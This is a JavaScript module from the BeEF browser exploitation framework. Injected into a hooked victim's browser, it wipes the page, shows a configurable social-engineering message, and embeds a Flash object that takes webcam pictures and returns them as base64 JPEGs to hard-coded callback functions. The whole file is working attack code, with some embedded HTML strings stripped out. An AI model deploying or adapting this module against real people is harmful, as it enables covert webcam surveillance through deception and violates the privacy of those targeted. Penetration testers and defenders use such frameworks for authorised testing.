// // Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - http://beefproject.com // See the file 'doc/COPYING' for copying permission // beef.execute(function() { /* If you ever experience that the "Allow button" of the flash warning is not clickable, it can have several reasons: - Some CSS/Flash bug: http://stackoverflow.com/questions/3003724/cant-click-allow-button-in-flash-on-firefox - There is a bug in flash: http://forums.adobe.com/thread/880967 - You overlayed (a single pixel is enough) the warning message with something (e.g. a div). Try to not include the body_social_engineer_and_overlay below and try again. */ //The social engineering message and the overlay div's var body_social_engineer_and_overlay = '

<%= @social_engineering_title %>

<%= @social_engineering_text %>

'; //These 4 function names [noCamera(), noCamera(), pressedDisallow(), pictureCallback(picture), allPicturesTaken()] are hard coded in the swf actionscript3. Flash will invoke these functions directly. The picture for the pictureCallback function will be a base64 encoded JPG string var js_functions = ''; //Either do the overlay (body_social_engineer_and_overlay) or do something like in the next line (showing a message if adobe flash is not installed) //We'll notice when flash is not installed anyway... //var body_flash_container = '

You need FlashPlayer 9 or higher!

Get Adobe Flash player

'; var body_flash_container = '
'; //The style is the only thing we already append to the head var theHead = document.getElementsByTagName("head")[0]; var style = document.createElement('style'); style.type = 'text/css'; style.innerHTML = 'body { background: #eee; } .thingy { z-index:50; background-color:#eee; border:1px solid #eee; }'; theHead.appendChild(style); //A nice library that helps us to include the swf file var swfobject_script = '' //This is the javascript that actually calls the swfobject library to include the swf file var include_script = ''; //Empty body first $j('body').html(''); //Now show our flash stuff, muahahaha $j('body').append(js_functions, swfobject_script, body_flash_container, body_social_engineer_and_overlay, include_script); });